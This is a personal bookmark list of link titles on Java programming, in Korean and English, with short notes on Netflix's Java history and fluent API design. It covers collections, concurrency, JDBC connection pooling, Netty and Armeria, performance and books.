- Java Koans
- awesome-java - A curated list of awesome Java frameworks, libraries and software. Inspired by awesome-python
- Java Concept Of The Day
- Java Puzzle 9: Tweet
- codingbat.com/java
- Java의 함수형 프로그래밍이 생각보다 위험하지 않은 이유
- Keyword extraction in Java
- Extracting meaningful text from webpages
- Extracting (meaningful) text from webpages - II
- A note on Matrix Multiplication in Java
- A Simple URL Shortening Algorithm in JAVA
- Polymorphism: Why use "List list = new ArrayList" instead of "ArrayList list = new ArrayList"
- 10 Tricky Core Java Interview Coding Questions
- 133 Core Java Interview Questions Answers From Last 5 Years - The MEGA List
- Review these 50 questions to crack your Java programming interview
- Java bytecode hacking for fun and profit
- The Java Agent: Modifying Bytecode at Runtime to Protect Against Log4J • Joe Beeton • GOTO 2022 - YouTube
- statements 가 있는 switch/when 구문 deep dive (feat. bytecode)
- Hacking third-party APIs on the JVM
- What Are C, C++, and Java Used For?
- Java! Real or Not?
- Intersection of two Sets optimized way in Java
- java 성능에 대한 오해와 편견
- 서버 성능에 대한 정의와 이해 ver1.2
- Java Micro Frameworks: The New Trend You Can’t Ignore Spark, Ninja, Jodd
- 12 Frameworks Java Web Developers Should learn in 2018
- Better Java - Resources for writing modern Java
- A persistent KeyValue Server in 40 lines and a sad fact
- Java in Flames
- Top 10 Mistakes Java Developers Make
- Boosting Java Performance using GPGPUs
- 자바 웹 애플리케이션성능에 영향을 미치는 대표적인 문제 유형
- TECH REPORT 쿠버네티스 환경에서 자바를 통한 성능 개선 방안
- Building Memory-efficient Java Applications: Practices and Challenges
- 자바 20주년 특집 - 튜링팀과 람다팀, 그리고 자바
- Programming Coordinated Behavior in Java
- Fuzzy string matching using cosine similarity
DETECTING A PERMGEN MEMORY LEAK IN A JAVA JBOSS APPLICATION- 9회 공감세미나 세션 1 자바 탄생 이야기
- Unrolling loops at runtime with Byte Buddy
- How does Java Both Optimize Hot Loops and Allow Debugging
- Java로 트레이 아이콘 등록하기
- 좌충우돌 ORM 개발기 | Devon 2012
- Java로 OTP 구현하기
- Java로 클래스 간 이벤트 통신하기
- AES256 암호화 Java 샘플
- Effective java
- 자바 한글 필기체 인식 프로그램 제작 노트
- 오픈소스 Java 테스트 프래임웍 7선
- Introduction to BCI
- Java-Callback Implementation an event callback like C# using Java
- Java Tools and Technologies Landscape Report 2016
- 초보 개발자를 위한 스택트레이스 읽는 법
- Java vs .NET void
- Artificial Intelligence and Java
- 케빈 TV
- 토비의 봄 TV 1회 - 재사용성과 다이나믹 디스패치, 더블 디스패치
- Java에서 Screen Capture
- Finding Points Within a Distance of a Latitude/Longitude Using Bounding Coordinates
- 로우-레벨 자바
- 공공데이터포털 오픈 API를 이용한 우편번호 검색 (도로명+지번 주소)
- 소소한 자바 이야기 - Number와 Locale
- 오버로딩(Overloading) / 오버라이딩(Overriding)
- Learn Functions Overloading in java in just 1 vedio on one code. - YouTube
- 악취나는 코드 개선하기 시리즈 - 값의 가변성 (Mutation)
- DAO vs DTO(=VO) 개념 알아보기
- 웹 서버 프로그래밍 시에 주의하면 좋은 점들
- Java Modifiers every interviewer seems to like
- final const, volatile synchronized, transient
- How Volatile in Java works? Example of volatile keyword in Java
- Java Closure의 non-local variable이 final이어야 하는것에 대한 토론이 이뤄진 현장
- 패스트캠퍼스 자바 웹 프로그래밍 CAMP 정리
- Top 8 Java RESTful Micro Frameworks – Pros/Cons
- Java 에러 : could not find java.dll
- Invest in Your Java Katalogue
- How to code the Caesar Cipher: an introduction to basic encryption
- What you should learn to become a Master Yoda in Java
- 100 High-Quality Java Developers’ Blogs
- Parallel Merge Sort in Java
- 개발 미션과 함께 읽는 클린 코드 clean code 책을 읽고 진행한 refactoring 정리
- VENKAT SUBRAMANIAM - Refactor your language knowledge portfolio - we are what we can code in
- ReduceDependency
- 고차 함수로 의존성 줄이기 | Popit refactoring
- Keep your dependencies in check by Marit van Dijk - YouTube
- 카카오톡 Java App Server Refactoring 후기 – tech.kakao.com
- 자바 애플리케이션의 보안 검수 방법 살펴보기
- Java 대용량 엑셀 업로드
- java 엑셀 파일 읽기 (xlsx)
- Software impedance explained
- Line Messaging API를 활용한 챗봇 만들기
- 5월 우아한 Tech 세미나 후기 성능, 라이센스, 모니터링
- Writing Web Applications in Java - a Study of Alternatives
- Java Almanac SDK version간 차이 정리
- 콘퍼런스 참가 신청 기능 개발기 여러가지 java library들을 사용해 기능 개발 및 개선하는 이야기
- How to build a min grocery app with Java Arrays
- Java naming strategy (자바 명명 전략)
- How to Work with Scala Collections in Java
- '자바를 배우자' 온라인 과정 10선
- 2020 Java Technology Report
- Build a Movie Tracking System Using React and Java
- 4 Amazing Techniques for Writing Better Java
- B급 프로그래머 2020년 5월 30일 개발자 이야기 자바 25주년 기념 특집(발표 자료)
- 10 things you’re doing wrong in Java
- Using the Kotlin stdlib in Java code | by Victoria Gonda | victoriagonda | Medium
- Using the Kotlin standard library from Java | by Danny Preussler | Google Developers Experts | Medium
- setter 를 언제 쓰지 말아야 할 지에 대한 간단한 생각
- maven - What is an uber jar? - Stack Overflow
- Creating a Java off-heap in-memory database
- Impl classes are evil - OctoPerf
- 16+ Tech Key Areas to go places as a Java Engineer or Architect | Java-Success.com
- 상품 피드 1차 개선 — Python 에서 Java 로!. 사고자 하는 물건이 있을때 다들 어디서 어떻게 구매 하시나요? (저는… | by Kahee Yu | 29CM 기술블로그 | Feb, 2021 | Medium
- Investigating MD5 overheads | Claes Redestad’s blog UUID
- The Modern Java Platform - 2021 Edition - James Ward
- "(Modern) Java for Clojure Programmers" by James Henderson - YouTube
- Modern Java in Action by Nicolai Parlog - YouTube
- 21 Tech Skills Java Developers Can Learn in 2021
- SARO
- Ahead of Time Compilation (AoT) | Baeldung
- AOT or JIT: Faster Startup or Faster Code • Simon Ritter • Devoxx Poland 2021 - YouTube
- 프로그래밍 초식 : 사소한 개선 - 섞여 있는 계산 로직 분리 - YouTube
- 테크톡 당신의 코드는 POJO하신가요? - YouTube
- 프로그램 초식(취향?): 쿼리에서 로직 빼기 - YouTube
- 9 Java low latency interview questions & answers with lots of diagrams
- 코드라떼 자바 - 메모리 모델 기초 - YouTube memory model
- 코드라떼 자바 - Call By Value, 값에 의한 호출 - YouTube
- Java is criminally underhyped
- Starting Fast: Investigating Java's Static Compilation Landscape - YouTube
- The Hidden Dynamic Life of Java by Nataliia Dziubenko - YouTube 내부 동작, compile, bytecode 등
- bcrypt는 salt가 매번 달라지는데 어떻게 match 판단을 그리 잘 할까요?
- How to do password hashing in Java applications the right way
- Java:Applying colors of your choice to images | by Sai Pitchuka | Medium
- Why is Java so dumb?. Part 1: Data Types | by Dave Andrea | Oct, 2021 | Medium
- Why is Java So Dumb? (Part 2). Part 2: Why does it take so long to… | by Dave Andrea | Nov, 2021 | Medium
- 7 Features Java Developers Should Learn in 2022 | by javinpaul | Javarevisited | Dec, 2021 | Medium
- Top Java Trends in 2021. Well, 2020 has proved that making… | by Sciforce | Sciforce | Medium
- Top 5 Free Java Microservices Courses with Spring Boot and RxJava in 2022 - Best of Lot | Java67
- Top 5 Microservice courses for Java Developers to Learn Online in 2022 - Best of Lot | Java67
- A Guide to Microservices Design Patterns for Java | Diffblue
- Top 21 Tech Skills from Java Developer Job Descriptions to Learn in 2022 UPDATED
- Difference between SOAP and RESTful Web Service in Java
- The Decline and Fall of Java on the Desktop Part 1 (1999-2005)
- Java에서의 Emoji처리에 대해 : NHN Cloud Meetup unicode 유니코드
- Google Best Practices for Java Libraries
- Best practices for Java in single-core containers | Red Hat Developer
- The Future of Java as Seen by Mark Little at Devoxx UK 22: Native Java, Adoptium and Faster Pace
- 공공데이터포털 오픈 API를 이용하여 기상청 현재 날씨 정보 얻기
- Data Oriented Programming in Java
- VDBUH2023 - Nicolai Parlog - Data-Oriented Programming in Java (20) - YouTube
- 우당탕탕 정산어드민 시스템 파일럿 프로젝트 도전기(feat. 정산플랫폼팀) | 우아한형제들 기술블로그
- 자바가 여전히 위대한 개발 언어인 7가지 이유 - ITWorld Korea
- Quiz
- Ten Java coding antipatterns to avoid: Worst practices #5 through #1
- "자바 앱 서버의 표준" 톰캣의 이해와 기본 활용 - ITWorld Korea
- Java APM에 대하여 : 네이버 블로그
- Using Java to Orchestrate Robot Swarms Ocado 오카도
- 주니어 개발자의 우여곡절 소셜로그인 도입 과정 – tech.kakao.com
- Evolution of Java Usage at Netflix - ByteByteGo Newsletter
- Netflix의 Java 사용 변천사 (번역)
- Netflix 첫 화면의 여러 데이터를 가져올 때 성능 문제를 해결하기 위해
- Groovy로 만든 BFF(Backend for Frontend)를 사용해서 여러 마이크로 서비스에서 데이터를 가져와서 프론트엔드에 내려주는 역할 담당
- 이후 스레드 관리의 복잡성을 해결하려고 RxJava 기반의 Hystrix 작성
- 이후에는 GraphQL Federation로 개선
- Java 버전도 8에서 17로 마이그레이션
- 오픈소스 Spring Boot도 그대로 사용
- Netflix 첫 화면의 여러 데이터를 가져올 때 성능 문제를 해결하기 위해
- Netflix의 Java 사용 변천사 (번역)
- How Netflix Really Uses Java - YouTube
- Devoxx Greece 2024 - Java Language Update -- a look at where the language is going by Brian Goetz - YouTube
- Seeing through hardware counters: a journey to threefold performance increase | by Netflix Technology Blog | Netflix TechBlog
- 그냥 자바를 쓰세요 | GeekNews
- 2024년에도 JAVA가 여전히 인기 있는 25가지 이유 | GeekNews
- 줄줄이 딸려오는 라이브러리만들기 Part1. Bom. java에서 bom이 무엇일까요? 직접 만들어보며 배워봅니다 | by Sunghyun Roh | Oct, 2024 | Medium
- 줄줄이 딸려오는 라이브러리만들기 Part2. pom과 nexus | by Sunghyun Roh | Oct, 2024 | Medium
- 줄줄이 딸려오는 라이브러리만들기 Part3. gradle과 plugin | by Sunghyun Roh | Nov, 2024 | Medium
- Java를 사용한 T-50 항공전자 내장형 소프트웨어 개발 - 한국항공우주산업(KAI) | GeekNews
- Cay Horstmann's Unblog
- JAVA 자료구조의 활용 (Collection Framework)
- Util클래스 어디까지 써봤니? 일 편하게 하는 유틸성 클래스
- github.com/StiKuan/StiKuan-Review
- The Good, the Bad and the Ugly of Java API design. Miro Cupak, Dnastack
- Miro Cupak - The Good, the Bad and the Ugly of Java API design
- Let's make a contract: the art of designing a Java API by Mario Fusco - YouTube
- 왜 자바에서 final 멤버 변수는 관례적으로 static을 붙일까?
- 왜 main()는 public static void인가?
- Implementing in-memory compression for objects in Java
- The Error Handling Done Right - The Startup - Medium
- 일관적인 에러응답을 달라! Error
- 이펙티브 자바 3판 - 열거 타입과 애너테이션 Enum, EnumSet, EnumMap, Annotation
- On the missing package private — or why Java is better than Kotlin in this regard | by Michał Stawski | VirtusLab | Medium
- java 박싱 언박싱과 오버헤드에 대한 이야기 boxing, unboxing, primitive
- A faster alternative to Java Reflection
- Annotation과 Reflection을 이용한 챗봇 컨트롤러 만들기
- 1. JAVA Reflection과 Annotaion으로 필드 및 메소드에 값 주입하기
- Java Reflection API: The Magical World of Java | CodersTea
- Core Java Reflection Vs Spring Reflection - YouTube
- 자바의 리플렉션이란
- 굿 바이 자바 애플릿, Deprecate, for Removal
- Faster Charset Decoding | Claes Redestad’s blog
- The Escape of ArrayList.iterator()
- 07: Java Iterable Vs Iterator differences and know how | Java-Success.com
- java visual vm 으로 메모리 사용량을 간단하게 파악해 봅시다
- java switch 문 : string에 대해서 어떻게 쓰는지 예제로 알아봅시다
- What are Operators in Java - YouTube
- Java UnaryOperator란?
- '살아 움직이는 언어' 자바에 추가된 6가지 새로운 기능 - ITWorld Korea
- Unusual Java: StackTrace Extends Throwable
- Java Integer Cache | Interview Question | Programming Tutorials - YouTube
- 7 java tricky parts may probably face you as java developer | by Nour Krichene | Jan, 2022 | Medium
- java number 클래스에 대해 간단하게 알아봅시다.
- Top 10 Easy Performance Optimizations in Java | by Jassica Den | Medium
- 10 Java Idioms Every Developer Should Know | by javinpaul | May, 2023 | Level Up Coding
- Principles of Fluent API Design by David Beaumont - YouTube
- VidiGo Principles of Fluent API Design by David Beaumont
- 유창한 API 설계의 원칙(David Beaumont 저) | 완벽한 영상요약, 릴리스에이아이 | Lilys AI
- Fluent API
- method chaining을 넘어서는 개념
- 도메인 특정 작업을 이해 가능하고 유지보수 가능하게 함
- 플루언트 API 이외에도 캐스케이딩을 고려할 때 만들 수 있는 다른 디자인 선택 사항 존재
- 유형 일관성, 동질적 API는 같은 유형 반환, 이질적 API는 다양한 유형 반환, 둘 다 좋은 방향
- 동질적 API는 선택적 매개변수에 좋고, 순서를 바꿀 수 있는 메소드 호출에 적합. 이질적 API는 사용자를 다양한 단계로 안내, 재사용 가능하게 함
- API는 재사용을 위해 분리되고 활용되어야 함
- 플루언트 API는 한 문장으로 표현되어야 하며, 일회성 API를 만드는 것이 더욱 좋음
- 불변성이 중요한데, 방식에 따라 새로운 객체를 만들거나 동일한 객체를 변형해야 할 수 있음
- 각각의 체계적인 불변 API는 여러 측면에서 자연스럽게 스레드 안전성을 제공할 수 있지만, 반복적인 단기 할당을 유발할 수도 있음
- 문제가 될 수 있는 반복적인 할당을 최소화하기 위해 부분 결과를 정적 변수로 이동시키는 기술 중 하나가 있음
- 플루언트 API는 한 문장으로 표현되어야 하며, 일회성 API를 만드는 것이 더욱 좋음
- 플루언트 API를 통해 사용자가 한 줄로 쉽게 데이터를 원하는 형태로 받을 수 있도록 설계한다면 사용자들의 편의를 위해 다양한 접근 방법을 고려 필요
- 플루언트 API가 사용자의 모든 요구를 충족하지 못한다면, 사용자들은 좀 지루한 프레임워크에 갇혀 있는 기분을 경험하며, 답답함을 느낄 수 있음
- 따라서 사용자들이 유연하게 대안 API를 고려할 수 있도록 선택권을 주는 것이 좋음
- 플루언트 API를 설계할 때 메소드 명명과 매개변수 범위에 심사숙고 필요, 메소드 순서 역시 중요, 필수 매개변수는 꼭 필수 메소드 안에 포함시켜야 함
- 문제 도메인이 사용하는 대로 설계 필요, 비 플루언트하고 비 도메인 특정 문제에 대해 플루언트 API를 만들기보다 그에 맞는 도구를 사용하는 게 더 좋음
- Fluent API
- annotation
- Arrays
- autovalue
- Base64
- class
- Collections
- Map
- HashMap
- HashMap Examples
- Java: How to get all keys by a value in HashMap ? | Search by Value in Map
- java linkedhashmap: 해시맵과 비교해서 어떤 점이 오버헤드가 걸리는지 알아봅시다
- java linkedhashmap removeeldestentry 메소드에 대해 알아봅시다
- 해시맵에 있는 tiebreakorder는 어떤 메소드일까요?
- Most Loved Interview Question: How HashMap Works in Java - CodersTea
- How HashMap works in Java
- How to check if a Key Object Exists in HashMap Java? containsKey() Example Tutorial | Java67
- How to Remove a Key, Value, or Entry from HashMap in Java 8 - Example Tutorial
- Most Loved Interview Question: How HashMap Works in Java | CodersTea
- 같은 것 같지만 다른 java map get vs containskey
- 왜 mutable한 객체를 java map의 키 값으로 삼으면 조심해야 할까요?
- java map find key in value : 2개의 맵을 씁시다
- It is possible to "Just use maps" in Java! - Questions & Help / General Questions - ClojureVerse
- 7. JAVA - List <-> List 양방향 변환
- java treemap ceilingkey higherkey floorkey lowerkey 를 써 봅시다
- Java Map의 확장 인터페이스 NavigableMap 이야기 - SOCAR Tech Blog
- HashMap
- Set
- Collections.compare(JDK, Eclipse, Guava, Apache...); by Lima, Nanivadekar and Raab
- Java Collection interview questions answered on differences between X & Y
- 일급 컬렉션 (First Class Collection)의 소개와 써야할 이유
- Game of Life, hash tables and hash codes
- java의 hashtable 대신에 왜 다른 것을 권장할까요
- 해시 테이블 (Hash Table) 배우기. Java 의 컬렉션 클래스 (Collection Class) 중에… | by Bryant Jimin Son | Aug, 2020 | Medium
- A tale of Java Hash Tables | andreinc
- 자바 arrayList addAll 메서드 : 어디서 오버헤드가 걸리는지 간단하게 분석해 봅시다
- java computeifpresent 메소드 : 이미 있는 키의 대응 값에 새 값을 적용한다
- java ArrayDeque : 원형큐에 expand를 얹었다
- java collections ncopies : 리스트를 초기화 할 때 이용할 만 하다
- Enhancement of Java Collection Classes | Making Java easy to learn
- Map
- Comparable, Comparator
- datetime
- How to get previous day using datetime
- Java, Android에서 날짜 표현할 때 Calendar, Date 그리고 SimpleDateFormat
- 양력에서 음력 변환 - ChineseCalendar 클래스가 맞지 않는 이유, 한국과 중국의 음력 차이
- DateTimeFormatter에서 년도표시에 yyyy대신 uuuu를 사용해야하는 이유?
- datetime 비교를 어떻게 할 수 있는지 예제 문제로 알아봅시다
- Convert Milliseconds to & from LocalDateTime in Java8 & Above | CodersTea
- How to format/parse dates with LocalDateTime in Java 8 - Example Tutorial
- 입 개발 java.time.LocalDateTime 에서 해당 날짜의 최소값과, 최대값 구하기 | Charsyam's Blog
- 타임존, 날짜 그리고 시간객체 뽀개기. 항상 헷갈리는 타임존과 관련된 용어를 정리고, 데이터베이스에 어떻게… | by chrisjune | 29CM 기술블로그 | Aug, 2022 | Medium ZoneId, ZoneOffset, DateTime, Time
- 1899-12-31T23:27:52.000+08:27:52의 정체 : NHN Cloud Meetup
- Enum
- Exception
- Java의 Exception(예외) 처리
- Null is your friend, not a mistake | by Roman Elizarov | Medium
- Why NULL is Bad?
- Preventing null pointer exceptions at compile time by Michael Ernst and Werner Dietl
- 다 쓴 객체 참조에 항상 null 값을 할당해야 하나요?
- Interesting Facts About 'null' In Java | Things to know as Java Developer - YouTube
- Clean Code: Avoid Returning Null. To enhance code robustness and reduce… | by Bubu Tripathy | Feb, 2024 | Medium
- java 예외 vs 에러 : 왜 이 둘을 구분 지을까요?
- 토이 프로젝트를 하면서 느꼈던 광범위한 예외의 위험성
- How to Resolve Concurrent Modification Exception In Java - YouTube
- artima - Failure and Exceptions exception에 대한 james gosling의 생각이 드러나는 인터뷰
- File
- Processing large files efficiently in Java
- 3 Ways to Read File line by line in Java 8? Examples
- Generics
- Java Generics FAQs - Frequently Asked Questions
- 제네릭의 비애
- usage of the <?> parameter in method declaration in Generics
- 토비의 봄 TV 4회 (1) 자바 Generics
- 토비의 봄 TV 4회 (2) Generics에서 와일드카드 활용법, 람다와 인터섹션 타입을 이용한 동적인 기능확장법
- Java의 Generics covariant/contravariant, 공변/반공변
- Java 제네릭 Generics DEEP DIVE
- Java Generics in no time "? extends" & "? super" explained with a diagram | Java-Success.com
- javadoc Javadoc 작성하기 - 기계인간 John Grib
- java.util
- JDBC
- 자바가 디비와 사귀기까지 벌어지는 일들
- JDBC로 실행되는 SQL에 자동으로 프로젝트 정보 주석 남기기
- PoolCleaner 를 활용한 Connection Pool 최적화
- Driver does not support get/set network timeout for connections
- sql injection과 jdbc PreparedStatement
- How to Achieve Greatness in JDBC Performance | CodersTea
- How to use PreparedStatement in Java - JDBC Example Tutorial | Java67
- JDBC url의 serverTimezone 속성에 대해 알아보기
- 10분 테코톡 코코닥의 JDBC - YouTube
- Spring JDBC 성능 문제, 네트워크 분석으로 파악하기
- JDBC setReadOnly 호출 이슈 해결기
- AWS Advanced JDBC Wrapper 드라이버를 사용하면서 간혈적으로 터지는 오류를 하나하나 추적해나가는 과정을 기술 블로그로 정리
- JVM 경력이 거의 없는 Node.js 개발자들끼리 IntelliJ IDEA와 네이버 핀포인트 모니터링 도구를 통해 차근차근 드라이버 문제에 접근하고 해결 진행
- HikariCP - 光 HikariCP・A solid, high-performance, JDBC connection pool at last
- HikariCP 세팅시 옵션 설명
- HikariCP는 test-while-idle과 같은 커넥션 갱신 기능이 없을까?
- HikariCP Dead lock에서 벗어나기 (이론편)
- HikariCP Dead lock에서 벗어나기 (실전편)
- Slick/HikariCP giving "too many connections" instead of timeouts
- 입 개발 HikariCP 는 왜 나를 물먹이는가… | Charsyam's Blog
- JDBC Connection Pooling Explained with HikariCP | CodersTea
- HikariCP Dead lock에서 벗어나기 (이론편) | 우아한형제들 기술블로그
- HikariCP Dead lock에서 벗어나기 (실전편)
- 데이터베이스 커넥션 풀 (Connection Pool)과 HikariCP
- 게임 서버 시스템을 위한 JDBC와 Timeout 이해하기 - 넷마블 기술 블로그
- 게임 서버 시스템을 위한 HikariCP 옵션 및 권장 설정 - 넷마블 기술 블로그
- 장애회고 ORM(JPA) 사용 시 예상치 못한 쿼리로 인한 HikariCP 이슈
- HikariCP로 MySQL Connection Pool 최적화하기 - Yun Blog | 기술 블로그
- Math
- net
- Java Socket Client (TCP/IP) 소켓 프로그래밍
- Java Socket Client (TCP/IP) 소켓 프로그래밍
- Java sockets I/O: blocking, non-blocking and asynchronous | LinkedIn
- Java UDP Client Server Program - UDP 프로그래밍
- Fundamentals of UDP Socket Programming in Java
- Java 의 SSLHandshakeException 문제 해결
- URLConnection & HttpURLConnection
- 7 Examples of HttpURLConnection in Java - Sending GET and POST Request Tutorial | Java67
- getHostAddress 사용자의 IP를 가져오기 (IPv4)
- ServerSocket localhost는 IPv6와 IPv4 어떤걸로 동작할까? :: 시행착오를 줄이는 방법
- NIO
- NIO 정리 예제와 함께 전반적으로 잘 정리
- 탈 자바 8과 스프링 부트 3.0을 위한 NIO HttpClient를 찾아서 - 넷마블 기술 블로그
- Object
- Optional
- Random
- Serializable
- sun.misc.Unsafe
- static
- String
- 20 Things You Should Know About Strings In Java
- How SubString Works Internally in Java
- Is a string an array of chars in java?
- How much memory does a string use in Java 8?
- Guide to Java String Pool
- How to save memory occupied by Java strings
- JVM Anatomy Quark #10: String.intern()
- JEP 192: String Deduplication in G1
- Why does storing a long string cause an OOM error but a breaking it into a list of short strings does not?
- java의 String은 이모지를 어떻게 저장할까요
- String, StringBuilder, and StringBuffer Do You Know the Difference?
- java replaceAll 메서드 : 그냥 쓰면 어떤 오버헤드가 걸릴까요?
- java string replace vs replaceAll 을 간단하게 비교해 봅시다.
- replaceAll 대신 replace 사용하기
- java toLowerCase toUpperCase 를 수행하면 길이가 항상 같을까요?
- 사소한 시리즈 - 문자열 분리 코드 중복 제거 :: 자바캔(Java Can Do IT)
- 사소한 시리즈 - 문자열이 여러 값 중 하나와 같은지 다른지 비교하는 코드 정리 :: 자바캔(Java Can Do IT)
- 자바에서 String 다룰 때 오해와 진실 - DEV Community
- java string trim 메서드에 대해 제대로 알아봅시다
- java string repeat 메서드로 쉽게 문자열을 반복해 봅시다.
- Right way to check if String is empty in Java with Example | Java67
- Why String is Immutable or Final in Java? Explained
- How to remove duplicate characters from String in Java? Solved | Java67
- How to Remove all adjacent duplicates characters from String in java? Example Tutorial | Java67
- java stringjoiner 사용법과 내부 동작을 알아봅시다. - Codingdog Blog
- System
- currentTimeMillis vs. nanoTime
- Measure Elapsed Time in Java
- Java8
Instant
class, Apache CommonsStopWatch
- Java8
- Comparison of System.currentTimeMillis() vs System.nanoTime()
- Newsflash: Can You Rely on System.nanoTime()?
- Nanotrusting the Nanotime
- Measure Elapsed Time in Java
- currentTimeMillis vs. nanoTime
- text
- DecimalFormatSymbols
- time
- Try
- util
- ComparableTimSort.countRunAndMakeAscending java countrunandmakeascending 메소드 : 키가 거꾸로 들어온 듯한 이유
- List
- regex regular expression
- zip 2 Examples to read Zip Files in Java, ZipFile vs ZipInputStream - Tutorial
- Comparison of Asynchronous Data Loading in Java Futures, Callbacks and Wrapper classes, Observers, RxJava
- Async-IO vs Async-Request Processing in java
- Spring WebFlux는 어떻게 적은 리소스로 많은 트래픽을 감당할까?
- 왜 비동기 코드를 작성하시나요?
- Awaitility Wiki
- Armeria - an asynchronous RPC/API client/server library built on top of Java 8, Netty 4.1, HTTP/2, and Thrift
- Armeria 오픈소스화 이야기
- Java와 Armeria로 기본적인 웹 서버 만들기
- 비동기를 사랑하는 오픈소스 개발자, 이희승
- GitHub Contributions 그래프를 푸릇푸릇하게 만들어보아요(feat. Armeria Sprint)
- Spring WebFlux와 Armeria를 이용하여 Microservice에 필요한 Reactive + RPC 동시에 잡기
- LINE 메시징 서버가 새해 트래픽을 대비하는 과정 armeria에 대한 이야기만은 아니지만
- 분산 서비스 환경에 대한 Circuit Breaker 적용
- Armeria의 서킷 브레이커 사용해 보기
- Armeria에서 Prometheus 지표 모니터링하기 - LINE ENGINEERING
- Armeria 지표 커스터마이징하기 - LINE ENGINEERING
- LINE DEV Meetup #11 LINE 서버 개발자들이 말한다! Armeria 아직도 안써요? - YouTube
- Armeria를 소개합니다 - LINE ENGINEERING
- Armeria로 서버 간 인증 마이크로서비스 개발하기
- 인증 MSA를 Armeria로 개발한 내용
- API를 요청하는 여러 서버 컴포넌트의 요청을 추적하고 서버별로 접근 제어를 구현이 아닌 공통으로 사용할 수 있는 접근 제어를 위해 개발
- LINE 개발자들이 Spring 대신 Armeria를 사용하는 이유 Spring으로 작성된 레거시 애플리케이션을 Armeria로 마이그레이션 하면서 얻었던 인사이트 + 성능 향상
- 비동기 서버에서 이벤트 루프를 블록하면 안 되는 이유 1부 - 멀티플렉싱 기반의 다중 접속 서버로 가기까지 C, multiprocess, multithread, multiplex
- 비동기 서버에서 이벤트 루프를 블록하면 안 되는 이유 2부 - Java NIO와 멀티플렉싱 기반의 다중 접속 서버
- 비동기 서버에서 이벤트 루프를 블록하면 안 되는 이유 3부 - Reactor 패턴과 이벤트 루프
- 켠 김에 PR까지 - YouTube
- Netty - Using as a generic library
- Netty 시작하기
- Going asynchronous with netty - SOSCON 2015
- Netty - One Framework to rule them all by Norman Maurer
- Netty Best Practices
- Netty Best Practices with Norman Maurer
- How to: Basic Netty Server
- Netty Server Tutorial - Setting up the server Part 1 of 2
- "Netty - The async event-driven network application framework" by Norman Maurer
- State of Netty
- Netty.io Reloaded #001 | Server-Client | Ingrim4
- Netty.io Reloaded #002 | Server-Client | Ingrim4
- Netty.io Reloaded #003 | ByteBuf | Ingrim4
- Netty.io Reloaded #004 | Packets | Ingrim4
- Netty.io Reloaded #005 | ByteBuf in Depth | Ingrim4
- Netty.io Reloaded #006 | ByteBuf Advanced | Ingrim4
- 리액터 네티(Reactor Netty)로 간단한 TCP 서버 만들기
- 우리도 채팅있으면 좋을 것 같아요. - 우아한형제들 기술 블로그
- go net vs gnet vs reactor netty 소켓 서버 성능 비교 - YouTube
- AI펭톡 TCP Gateway 서버 개발기 with Netty | NHN FORWARD
- API 통신 컴포넌트 설계와 SOLID 원칙
- 쓰레드 누수 이슈: 문제의 원인을 찾는 귀납적 과정
- 메시지 큐를 활용한, 유연한 전송 구조 만들기
- Netty 구조적 특징 (1) : 쓰레드 모델
- Netty 구조적 특징 (2) : 비동기
- Netty 구조적 특징 (3) : 이벤트 루프
- 개발일기 #102 : 대용량 파일 패치, 68초 → 5초로 성능 개선
- Reference Count를 통한 Netty의 ByteBuf memory 관리
- 대용량 파일 서버 성능 개선기 (1) : 작은 청크로 분할 전송
- 개발일기 #106 : 네트워크 프로그래밍에 대한 소소한 배움들
- Reactor Netty Memory Leak 이슈 탐방기
- ReactiveX - An API for asynchronous programming with observable streams
- BIOJAVA:COOKBOOK4.0
- Top 10 Java Books for Programmers — All time Great
- Must-read books to learn Java programming
- 10 Best Spring Framework Books for Java Developers | by javinpaul | Javarevisited | Feb, 2021 | Medium
- 10 Best Books and Courses To Learn Spring Framework in Depth - DZone Java
- 더북(TheBook): 가장 빨리 만나는 자바 8 1~2장만
- 더북(TheBook): 스프링 4 코딩 공작소 1~7장만
- 더북(TheBook): 자바와 JUnit을 활용한 실용주의 단위 테스트 1~3장만
- 더북(TheBook): Java EE 디자인 패턴 1~4장만
- 더북(TheBook): 모두의 자바
- 더북(TheBook): 스프링 마이크로서비스 코딩 공작소 1~3장만
- 더북(TheBook): 가장 빨리 만나는 코어 자바 9 2~4장만
- 더북(TheBook): 전문가를 위한 스프링 5 1~4장만
- 더북(TheBook): 자바 코딩의 기술 1~3장만
- 다시 읽는 모던 자바 인 액션 - SLiPP 스터디 - SLiPP::위키
- 점프 투 스프링부트 - WikiDocs
- Java 프로그래밍 기초 - Google Docs
- Top 20 Books Java Programmers Can Read
- Cloud Native Spring in Action • Thomas Vitale & Josh Long • GOTO 2024 - YouTube
- Seriously Good Software
- Effective Java
- Java Concurrency in Practice
- Java Concurrency Utilities
- JDK IO 2014 - Java Concurrency and Non blocking IO - Dr Heinz M. Kabutz
- Call a non-reentrant native shared library from multiple Java threads
- Lamport's bakery algorithm
- Thousands of Threads and Blocking I/O - The old way to write Java Servers is New again
- How to write a multi-threaded webcrawler
- Java 동기화의 이해(synchronized, wait, notify, notifyAll)
- java synchronized:락이 어느 단위로 걸리는가?
- 5 Ways to debug Java thread-safety issues
- 11: 10+ ♥♦ Advanced Java interview questions & answers on multithreading scenarios
- Part 1: What is Multithreading in JAVA ? Understanding all the concepts with EASE - YouTube
- Part 2: Concurrency & Synchronization in Java Multithreading - YouTube
- Part 3: Multithreading InterThread Communication | Producer Consumer using wait and notify - YouTube
- Part 4: Print Even and Odd Numbers Using 2 Threads in Java | Inter thread communication - YouTube
- Producer Consumer Problem with Wait and Notify - Thread Example Tutorial | Java67
- ThreadLocal과 ThreadPool
- Java Thread Pool 동작 원리 (테스트 코드와 함께)
- 제품을 만들며 『Hello World』 이상의 코드 만들기 ThreadPoolExecutor
- Java Thread States and Life Cycle
- Snippets About Concurrency
- 스레드 안정성
- 객체 공유
- java thread stop: 왜 권장하지 않는 함수가 되었을까요?
- java thread suspend resume 예제 하나만 간단하게-봅시다
- java interrupt 메소드 어떻게 안전하게 종료하는가
- (서비스 제공자가 주도하는) 자바 인터럽트
- 원자성을 만족하는 메서드를 n개 호출하는 작업은 atomic 할까요
- 왜 java의 hashmap 클래스는 멀티스레드 환경에서 안전하지 않는가
- race condition : 둘 이상이 같은 자원을 가지고 경쟁한다
- A New Concurrency Model in Java. Things have changed considerably in the… | by The Bored Dev | Jun, 2020 | codeburst
- Performance of Modern Java on Data-Heavy Workloads, Part 1 · Hazelcast Jet
- Performance of Modern Java on Data-Heavy Workloads, Part 2 · Hazelcast Jet
- The Low-Latency Rematch: Performance of Modern Java on Data-Heavy Workloads · Hazelcast Jet
